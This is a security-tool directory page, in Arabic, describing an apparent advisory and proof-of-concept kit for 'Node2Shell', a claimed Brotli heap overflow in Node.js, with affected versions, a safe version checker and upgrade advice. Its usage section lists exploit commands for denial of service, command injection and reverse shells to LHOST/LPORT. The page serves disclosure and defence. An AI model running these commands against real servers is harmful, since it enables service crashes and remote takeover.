Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-111497 — مجموعة أدوات استشارية وإثبات مفهوم لـ CVE-2026-111497 (Node2Shell)، وهو تجاوز سعة كومة Brotli في Node.js، مع نصوص برمجية للتشغيل، وأداة فحص الإصدار، وإرشادات المعالجة. | Kitploit
أدوات/GitHubGitHub/0xblackash/cve-2026-111497
أدوات دفاعيةماسحات الثغرات الأمنيةتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
GitHub0xblackash/cve-2026-111497

CVE-2026-111497

مجموعة أدوات استشارية وإثبات مفهوم لـ CVE-2026-111497 (Node2Shell)، وهو تجاوز سعة كومة Brotli في Node.js، مع نصوص برمجية للتشغيل، وأداة فحص الإصدار، وإرشادات المعالجة.

15منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
مشاركة

CVE-2026-111497 — Node2Shell

Gemini_Generated_Image_i7ii2oi7ii2oi7ii

CVE Badge CVSS Badge Component Badge CWE Badge License

استشارة أمنية شاملة وتحليل تقني ودليل معالجة لـ CVE-2026-111497

---

📋 جدول المحتويات

  • الملخص التنفيذي
  • تحليل تقني معمّق
    • تحليل السبب الجذري
    • نواقل الهجوم
    • تقييم التأثير
  • الإصدارات المتأثرة والمُصلحة
  • الكشف والتدقيق
  • المعالجة والتحديث
    • ترقية وقت التشغيل الأصلي
    • إصلاح طبقة Docker / الحاويات
  • استراتيجيات التخفيف
  • المراجع والموارد
  • إخلاء المسؤولية

📌 الملخص التنفيذي

أُعلن في أكتوبر 2026 عن Node2Shell (CVE-2026-111497)، وهي ثغرة أمنية حرجة تؤثر على مكوّن فك ضغط Brotli الأصلي المضمّن مباشرةً داخل الملف التنفيذي لبيئة تشغيل Node.js.

تسمح هذه الثغرة للمهاجمين عن بُعد بتنفيذ تعليمات برمجية عشوائية أو إسقاط التطبيق عبر إرسال تدفقات بايتات مضغوطة بـ Brotli مصممة خصيصًا ومشوّهة إلى أي تطبيق Node.js يعالج مدخلات مضغوطة (مثل محلّلات أجسام طلبات HTTP، أو استدعاءات fetch() الأصلية، أو تدفقات WebSocket).

⚠️ ملاحظة حرجة: نظرًا لأن التعليمات البرمجية المصابة تقع داخل deps/brotli المُجمّعة داخل الملف التنفيذي لـ Node.js نفسه، فإن تحديث تبعيات npm في مساحة المستخدم لن يخفف من هذه الثغرة. يجب تحديث وقت تشغيل الملف التنفيذي لـ Node.js.


⚙️ تحليل تقني معمّق

تحليل السبب الجذري

  • نوع العيب: كتابة خارج الحدود (CWE-787) ناتجة عن قيمة إرجاع غير مُتحقَّق منها (CWE-252).
  • المكوّن المصاب: وحدة فك ترميز Brotli من Google المدمجة في Node.js (deps/brotli).
  • الآلية: عند فك ضغط تدفق مشوّه، يفشل فك الترميز في التحقق السليم من شروط الحدود أثناء انتقالات حالة التدفق. يؤدي ذلك إلى تلف في مخزن الكومة (heap buffer) يتجاوز مساحة الذاكرة المخصصة مسبقًا.

نواقل الهجوم

  1. طلبات HTTP الواردة: الأطر والبرمجيات الوسيطة (مثل Express وFastify) المُهيّأة لفك ضغط الأجسام تلقائيًا (Content-Encoding: br).
  2. واجهة Fetch الصادرة / الواردة: معالجة fetch() الأصلية للردود الآلية من نقاط نهاية خارجية غير موثوقة تقدّم محتوى مضغوطًا.
  3. خطوط أنابيب التدفقات الداخلية: تدفقات Node.js المخصصة التي تستخدم zlib.createBrotliDecompress().

تقييم التأثير

  • حجب الخدمة (DoS): تنفيذ موثوق لأخطاء التجزئة (SIGSEGV) يؤدي إلى إسقاط عمليات العامل (worker processes) فورًا.
  • الكشف عن المعلومات: قراءات كومة غير خاضعة للرقابة تكشف رموزًا حساسة أو متغيرات بيئة مخزّنة في ذاكرة العملية.
  • تنفيذ تعليمات برمجية عن بُعد (RCE): تلف مُثبَت في ذاكرة الكومة يؤدي إلى سيطرة كاملة على مسار تنفيذ العملية في عمليات نشر حاويات قياسية غير معدّلة.

📊 الإصدارات المتأثرة والمُصلحة

خط إصدار Node.jsالحالةالإصدار المُصلَّحالإجراء المطلوب
Node.js 26.x⚠️ معرّض للثغرة>= 26.12.1الترقية فورًا
Node.js 24.x⚠️ معرّض للثغرة>= 24.22.1الترقية فورًا
Node.js 22.x (LTS)⚠️ معرّض للثغرة>= 22.23.4الترقية فورًا
Node.js 20.x والإصدارات الأقدم❌ EOLلا يوجدالترحيل فورًا إلى إصدار LTS مدعوم

🚨 تنبيه EOL: وصل Node.js 20 إلى نهاية العمر الافتراضي (EOL) في أبريل 2026. لا تتوفر التحديثات الأمنية الرسمية للإصدارات التي وصلت إلى EOL.


سكربت الفحص الآمن

هذا بالضبط ما يجب أن تراه عندما يعمل الفاحص الآمن بشكل صحيح.

1. Node.js المُرقَّع / المُصلَّح (نتيجة جيدة)

$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder

───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

2. عقدة Node.js القابلة للاستغلال (نتيجة سيئة)

$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder

───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

3. إصدار منتهي الصلاحية (ومعرّض للثغرات أيضًا)

Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder

Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.

طريقة سريعة لتأكيد الثابت بنفسك

يمكنك أيضًا تشغيل هذا الأمر ذي السطر الواحد:

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
  • يُرجع -17 → مُرقَّع
  • يُرجع missing → قابل للاستغلال

هذا هو الفحص نفسه الذي يستخدمه السكربت.


إعداد المختبر

# Python dependencies
pip install requests brotli

# Node server (webhook injection + eval paths)
npm install
node server-stock.js       # port 3000

الاستخدام

# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10

# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT

# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data

# Direct eval mode (server with /api/exec eval sink)
python Node2Shell.py -u http://TARGET --validate
python Node2Shell.py -u http://TARGET --cmd "id"
python Node2Shell.py -u http://TARGET --revshell LHOST LPORT

🔍 الكشف والتدقيق

للتحقق مما إذا كان نظامك أو الحاويات قيد التشغيل تنفّذ إصدارًا مصابًا من Node.js، شغّل الأوامر التالية:

تنزيل الأداة